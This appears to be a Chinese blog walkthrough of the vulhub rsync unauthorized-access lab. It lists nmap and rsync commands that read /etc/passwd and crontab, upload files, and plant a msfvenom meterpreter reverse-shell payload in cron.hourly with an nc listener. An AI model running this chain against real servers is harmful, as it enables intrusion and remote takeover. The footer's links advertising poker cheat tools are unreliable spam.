【vulhub靶场之rsync关】
创始人
2024-09-25 14:23:46
0

一、使用nmap模块查看该ip地址有没有Rsync未授权访问漏洞

nmap -p 873 --script rsync-list-modules 加IP地址

查看到是有漏洞的模块的

image-20240805155648842

二、使用rsync命令连接并读取文件

image-20240805160205714

查看src目录里面的信息。

image-20240805160717745

三、对系统中的敏感文件进行下载——/etc/passwd

执行命令:

rsync rsync://43.136.68.40:873/src/etc/passwd /home/kali/Desktop/

image-20240805181956106

查看下载下的文件

cat /home/kali/Desktop/passwd

image-20240805182157837

也可在桌面双击打开

image-20240805182307279

四、在本机使用命令创建一个phpinfo文件

随便往里面写一个文件测试一下,例如phpinfo.php,如下命令在kali创建一个文件。

 echo "" > phpinfo.php 

将文件再上传到受害者,也就是靶场环境里。

rsync ./phpinfo.php rsync://43.136.68.40:873/src/home/

查看一下有没有写进去

rsync rsync://43.136.68.40:873/src/home/

成功写进去了文件。

image-20240805190256114

五、反弹shell

查看定时任务

rsync://43.136.68.40:873/src/etc/crontab

将文件下载下到kali

rsync rsync://43.136.68.40:873/src/etc/crontab /home/kali/Desktop ​

查看一下文件里面的内容,里面的大概意思就是每17分钟调用一次/etc/cron.hourly

image-20240805191157593

在kali机子上拉取一个shell文件

语法:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=自己攻击机的地址 lport=4444 --f elf -o shell

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=172.168.189.150 lport=4444 --f elf -o shell

image-20240805212012471

将shell文件提权

chmod 777 shell

六:将shell上传到目标靶机中

命令语句:

rsync -av /home/kali/Desktop/shell rsync://43.136.68.40:873/src/etc/cron.hourly

image-20240805213313658

七、开启kali监听端口

nc -lvvp 4444

等待17分钟后,查看监听到的信息,代表连接成功。

相关内容

热门资讯

3分钟德州辅助器!pokerr... 3分钟德州辅助器!pokerrrr2俱乐部(透视)软件透明挂(有挂辅助挂)-哔哩哔哩1、这是跨平台的...
实测揭晓!aa扑克网上的挂真的... 【福星临门,好运相随】;实测揭晓!aa扑克网上的挂真的(透视)透视辅助(有挂方法)-哔哩哔哩;暗藏猫...
必备教程!山西扣点点app辅助... 必备教程!山西扣点点app辅助工具靠谱的(透视)详细教程(2025已更新)(哔哩哔哩);山西扣点点a...
5分钟德州ai机器人(德州免费... 5分钟德州ai机器人(德州免费辅助神器app!Wepoke最新版)竟然真的有挂(透视)详细教程(有挂...
透视黑科技!微扑克微乐(微扑克... 《微扑克微乐软件透明挂》是一款多人竞技的微扑克微乐辅助透视游戏,你将微扑克对手来到同一个战场,为至高...
十分钟德州代打!pokerma... 十分钟德州代打!pokermaster有德州(德扑之星发牌)透视辅助(有挂针对)-哔哩哔哩关于德扑之...
透视ai代打(wePOke)外... 透视ai代打(wePOke)外挂透明挂辅助app(透视)详细教程(有挂胜率)-哔哩哔哩1、很好的工具...
七分钟查数据!丽水茶苑有挂的(... 七分钟查数据!丽水茶苑有挂的(透视)外挂透明挂辅助工具(有挂方法)-哔哩哔哩1、不需要AI权限,帮助...
技术分享!德扑之星让系统给好牌... 技术分享!德扑之星让系统给好牌(透视)透视辅助(详细教程)-哔哩哔哩是一款可以让一直输的玩家,快速成...
七分钟安卓版!欢乐棋牌有挂(透... 七分钟安卓版!欢乐棋牌有挂(透视)透视辅助(有挂代打)-哔哩哔哩;WPK必备黑科技是一款具有ia特色...